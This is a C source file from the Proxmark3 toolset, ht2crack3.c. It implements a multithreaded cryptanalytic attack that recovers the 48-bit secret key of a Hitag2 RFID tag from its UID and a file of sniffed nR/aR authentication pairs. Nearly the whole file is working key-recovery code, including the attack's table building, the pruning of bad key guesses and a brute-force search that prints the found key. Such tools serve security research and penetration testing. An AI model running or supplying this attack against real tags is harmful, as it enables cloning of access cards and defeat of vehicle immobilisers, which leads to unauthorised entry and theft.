Merge pull request #2654 from Antiklesys/master
[RRG-proxmark3.git] / tools / hitag2crack / crack3 / ht2crack3.c
blob3a185f9a4846d8d15cc284d312e5023b247b0a15
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <pthread.h>
4 #include <inttypes.h>
5 #include <string.h>
7 #include "hitagcrypto.h"
8 #include "ht2crackutils.h"
10 // max number of NrAr pairs to load - you only need 136 good pairs, but this
11 // is the max
12 #define NUM_NRAR 1024
13 #define NUM_THREADS 8
15 // table entry for Tkleft
16 struct Tklower {
17 uint64_t yxorb;
18 char notb32;
19 uint64_t klowery;
22 // table entry for nR aR pair
23 struct nRaR {
24 uint64_t nR;
25 uint64_t aR;
28 // struct to hold data for thread
29 struct threaddata {
30 uint64_t uid;
31 struct nRaR *TnRaR;
32 unsigned int numnrar;
33 uint64_t klowerstart;
34 uint64_t klowerrange;
37 // macros to pick out 4 bits in various patterns of 1s & 2s & make a new number
38 // these and the following hitag2_crypt function taken from Rfidler
39 #define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
40 #define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
41 ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
42 #define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
43 ((S >> (C - 2)) & 0xC) )
44 #define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
45 ((S >> (C - 3)) & 8) )
46 #define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
47 ((S >> (C - 3)) & 8) )
50 static uint32_t hitag2_crypt(uint64_t s) {
51 const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
52 const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
53 const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
54 uint32_t bitindex;
56 bitindex = (ht2_function4a >> pickbits2_2(s, 1, 4)) & 1;
57 bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2(s, 7, 11, 13)) & 0x02;
58 bitindex |= ((ht2_function4b << 2) >> pickbits1x4(s, 16, 20, 22, 25)) & 0x04;
59 bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1(s, 27, 30, 32)) & 0x08;
60 bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
62 return (ht2_function5c >> bitindex) & 1;
66 // this function is a modification of the filter function f, based heavily
67 // on the hitag2_crypt function in Rfidler
68 static int fnP(uint64_t klowery) {
69 const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
70 const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
71 const uint32_t ht2_function4p = 0xAE83; // 1010 1110 1000 0011
72 uint32_t i;
74 i = (ht2_function4a >> pickbits2_2(klowery, 2, 5)) & 1;
75 i |= ((ht2_function4b << 1) >> pickbits1_1_2(klowery, 8, 12, 14)) & 0x02;
76 i |= ((ht2_function4b << 2) >> pickbits1x4(klowery, 17, 21, 23, 26)) & 0x04;
77 i |= ((ht2_function4b << 3) >> pickbits2_1_1(klowery, 28, 31, 33)) & 0x08;
79 // modified to use reference implementation approach
80 // orig fc table is 0x7907287B = 0111 1001 0000 0111 0010 1000 0111 1011
81 // we ignore the top bit (bit 4) of the parameter, so therefore create a new
82 // table that indicates which bit positions are the same if the top bit is 1 or 0
83 return (ht2_function4p >> i) & 1;
86 // comparison function for sorting/searching Tklower entries
87 static int Tk_cmp(const void *v1, const void *v2) {
88 const struct Tklower *Tk1 = (struct Tklower *)v1;
89 const struct Tklower *Tk2 = (struct Tklower *)v2;
91 if (Tk1->yxorb < Tk2->yxorb) {
92 return -1;
93 } else if (Tk1->yxorb > Tk2->yxorb) {
94 return 1;
97 return 0;
100 // test for bad guesses of kmiddle
101 static int is_kmiddle_badguess(uint64_t z, struct Tklower *Tk, int max, int aR0) {
103 struct Tklower *result, target;
105 // "If there is an entry in Tklower for which y ^ b = z but !b32 != aR[0]
106 // then the attacker learns that kmiddle is a bad guess... otherwise, if
107 // !b32 == aR[0] then kmiddle is still a viable guess."
109 target.yxorb = z;
110 target.notb32 = 0;
111 result = (struct Tklower *)bsearch(&target, Tk, max, sizeof(struct Tklower), Tk_cmp);
113 if (result) {
114 if (result->notb32 != aR0) {
115 return 1;
117 } else {
118 return 2;
121 return 0;
124 // function to test if a partial key is valid
125 static int testkey(uint64_t *out, uint64_t uid, uint64_t pkey, uint64_t nR, uint64_t aR) {
126 uint64_t kupper;
127 Hitag_State hstate;
128 uint32_t revaR;
129 uint32_t normaR;
131 // normalise aR
132 revaR = rev32(aR);
133 normaR = ((revaR >> 24) | ((revaR >> 8) & 0xff00) | ((revaR << 8) & 0xff0000) | (revaR << 24));
135 // search for remaining 14 bits
136 for (kupper = 0; kupper < 0x3fff; kupper++) {
137 uint64_t key = (kupper << 34) | pkey;
138 hitag2_init(&hstate, key, uid, nR);
139 uint64_t b = hitag2_nstep(&hstate, 32);
140 if ((normaR ^ b) == 0xffffffff) {
141 *out = key;
142 return 1;
145 return 0;
148 // some notes on how I think this attack should work.
149 // due to the way fc works, in a number of cases, it doesn't matter what
150 // the most significant bits are doing for it to produce the same result.
151 // These are the most sig 14 bits to be clear. Looking at fc it is poss
152 // to see cases where the most sig bit of the input to fc (which is made
153 // from fa on 4 of the most sig bits from bit 34 onwards) does not affect
154 // whether it gives a 0 or 1 as the input 0b0ABCD gives the same bit value
155 // as input 0b1ABCD.
156 // The PRNG is initialised by setting the lower 32 bits to the UID, with
157 // the upper 16 bits set to the lower 16 bits of the key. Next the 32
158 // upper bits of the key are XORed with the private nonce and these are
159 // shifted in, with the PRNG outputting bits b0 to b31. These bits are
160 // used to encrypt (XOR with) the nonce to produce nR, which is sent to
161 // the card.
162 // (The card should init the PRNG with the same UID and lower 16 bits of
163 // the key, receive the nR, then shift it in bit by bit while xoring each
164 // bit with its output, and the key - this essentially decrypts the nR to
165 // the nonce XOR the upper 32 bits of the key, while shifting it in.
166 // The card's PRNG will then be in the same state as the RWD.)
167 // By knowing the UID and guessing the lower 16 bits of the key, and
168 // focusing on nR values that don't affect the upper bits of fc, we can
169 // limit our guesses to a smaller set than a full brute force and
170 // effectively work out candidates for the lower 34 bits of the key.
172 static void *crack(void *d) {
173 struct threaddata *data = (struct threaddata *)d;
174 uint64_t uid;
175 struct nRaR *TnRaR;
176 unsigned int numnrar;
178 int i, j;
180 uint64_t klower, kmiddle, klowery;
181 uint64_t y, b, z, bit;
182 uint64_t ytmp;
183 uint64_t foundkey, revkey;
184 int ret;
185 unsigned int found;
186 unsigned int badguess;
187 struct Tklower *Tk = NULL;
189 if (!data) {
190 printf("Thread data is NULL\n");
191 exit(1);
194 uid = data->uid;
195 TnRaR = data->TnRaR;
196 numnrar = data->numnrar;
198 // create space for tables
199 Tk = (struct Tklower *)calloc(sizeof(struct Tklower) * 0x40000, sizeof(uint8_t));
200 if (!Tk) {
201 printf("Failed to allocate memory (Tk)\n");
202 exit(1);
205 // find keys
206 for (klower = data->klowerstart; klower < (data->klowerstart + data->klowerrange); klower++) {
207 printf("trying klower = 0x%05"PRIx64"\n", klower);
208 // build table
209 unsigned int count = 0;
210 for (y = 0; y < 0x40000; y++) {
211 // create klowery
212 klowery = (y << 16) | klower;
213 // check for cases where right most bit of fc doesn't matter
215 if (fnP(klowery)) {
216 // store klowery
217 Tk[count].klowery = klowery;
218 // build the initial prng state
219 uint64_t shiftreg = (klower << 32) | uid;
220 // insert y into shiftreg and extract keystream, reversed order
221 b = 0;
222 ytmp = y;
223 for (j = 0; j < 2; j++) {
224 shiftreg = shiftreg | ((ytmp & 0xffff) << 48);
225 for (i = 0; i < 16; i++) {
226 shiftreg = shiftreg >> 1;
227 bit = hitag2_crypt(shiftreg);
228 b = (b >> 1) | (bit << 31);
230 ytmp = ytmp >> 16;
233 // store the xor of y and b0-17
234 Tk[count].yxorb = y ^ (b & 0x3ffff);
236 // get and store inverse of next bit from prng
237 // don't need to worry about shifting in the new bit because
238 // it doesn't affect the filter function anyway
239 shiftreg = shiftreg >> 1;
240 Tk[count].notb32 = hitag2_crypt(shiftreg) ^ 0x1;
242 // increase count
243 count++;
247 qsort(Tk, count, sizeof(struct Tklower), Tk_cmp);
249 // look for matches
250 for (kmiddle = 0; kmiddle < 0x40000; kmiddle++) {
251 // loop over nRaR pairs
252 badguess = 0;
253 found = 0;
254 for (i = 0; (i < numnrar) && (!badguess); i++) {
255 z = kmiddle ^ (TnRaR[i].nR & 0x3ffff);
256 ret = is_kmiddle_badguess(z, Tk, count, TnRaR[i].aR & 0x1);
257 if (ret == 1) {
258 badguess = 1;
259 } else if (ret == 0) {
260 found++;
264 if ((found) && (!badguess)) {
265 // brute
266 printf("possible partial key found: 0x%012"PRIx64"\n", ((uint64_t)kmiddle << 16) | klower);
268 if (testkey(&foundkey, uid, (kmiddle << 16 | klower), TnRaR[0].nR, TnRaR[0].aR) &&
269 testkey(&foundkey, uid, (kmiddle << 16 | klower), TnRaR[1].nR, TnRaR[1].aR)) {
270 // normalise foundkey
271 revkey = rev64(foundkey);
272 foundkey = ((revkey >> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000);
273 printf("\n\nSuccess - key = %012"PRIx64"\n", foundkey);
274 exit(0);
276 return (void *)foundkey;
284 free(Tk);
285 return NULL;
287 int main(int argc, char *argv[]) {
288 FILE *fp;
289 int i;
290 pthread_t threads[NUM_THREADS];
291 void *status;
293 uint64_t uid;
294 uint64_t klowerstart;
295 unsigned int numnrar = 0;
296 char *buf = NULL;
297 char *buft1 = NULL;
298 char *buft2 = NULL;
299 size_t lenbuf = 64;
301 struct nRaR *TnRaR = NULL;
302 struct threaddata *tdata = NULL;
304 if (argc < 3) {
305 printf("%s uid nRaRfile\n", argv[0]);
306 exit(1);
309 // read the UID into internal format
310 if (!strncmp(argv[1], "0x", 2)) {
311 uid = rev32(hexreversetoulong(argv[1] + 2));
312 } else {
313 uid = rev32(hexreversetoulong(argv[1]));
316 // create table of nR aR pairs
317 TnRaR = (struct nRaR *)calloc(sizeof(struct nRaR) * NUM_NRAR, sizeof(uint8_t));
319 // open file
320 fp = fopen(argv[2], "r");
321 if (!fp) {
322 printf("cannot open nRaRfile\n");
323 exit(1);
326 // set klowerstart (for debugging)
327 if (argc > 3) {
328 klowerstart = strtol(argv[3], NULL, 0);
329 } else {
330 klowerstart = 0;
333 // read in nR aR pairs
334 numnrar = 0;
335 buf = (char *)calloc(1, lenbuf);
336 if (!buf) {
337 printf("cannot calloc buf\n");
338 exit(1);
341 while (getline(&buf, &lenbuf, fp) > 0) {
342 buft1 = strchr(buf, ' ');
343 if (!buft1) {
344 printf("invalid file input on line %u\n", numnrar + 1);
345 exit(1);
347 *buft1 = 0x00;
348 buft1++;
349 buft2 = strchr(buft1, '\n');
350 if (!buft2) {
351 printf("no CR on line %u\n", numnrar + 1);
352 exit(1);
354 *buft2 = 0x00;
355 if (!strncmp(buf, "0x", 2)) {
356 TnRaR[numnrar].nR = rev32(hexreversetoulong(buf + 2));
357 TnRaR[numnrar].aR = rev32(hexreversetoulong(buft1 + 2));
358 } else {
359 TnRaR[numnrar].nR = rev32(hexreversetoulong(buf));
360 TnRaR[numnrar].aR = rev32(hexreversetoulong(buft1));
362 numnrar++;
365 // close file
366 fclose(fp);
368 printf("Loaded %u NrAr pairs\n", numnrar);
370 // create table of thread data
371 tdata = (struct threaddata *)calloc(1, sizeof(struct threaddata) * NUM_THREADS);
372 if (!tdata) {
373 printf("cannot calloc threaddata\n");
374 exit(1);
377 for (i = 0; i < NUM_THREADS; i++) {
378 tdata[i].uid = uid;
379 tdata[i].TnRaR = TnRaR;
380 tdata[i].numnrar = numnrar;
381 tdata[i].klowerrange = 0x10000 / NUM_THREADS;
382 tdata[i].klowerstart = i * tdata[i].klowerrange;
385 if (klowerstart) {
386 // debug mode only runs one thread from klowerstart
387 tdata[0].klowerstart = klowerstart;
388 crack(tdata);
389 return 0;
392 // run full threaded mode
393 for (i = 0; i < NUM_THREADS; i++) {
394 if (pthread_create(&(threads[i]), NULL, crack, (void *)(tdata + i))) {
395 printf("cannot start thread %d\n", i);
396 exit(1);
400 // wait for threads to finish
401 for (i = 0; i < NUM_THREADS; i++) {
402 if (pthread_join(threads[i], &status)) {
403 printf("cannot join thread %d\n", i);
404 exit(1);
406 printf("thread %i finished\n", i);
407 if (status) {
408 printf("Key = %012"PRIx64"\n", (uint64_t)status);
409 exit(0);
413 printf("Did not find key :(\n");
414 pthread_exit(NULL);
416 return 0;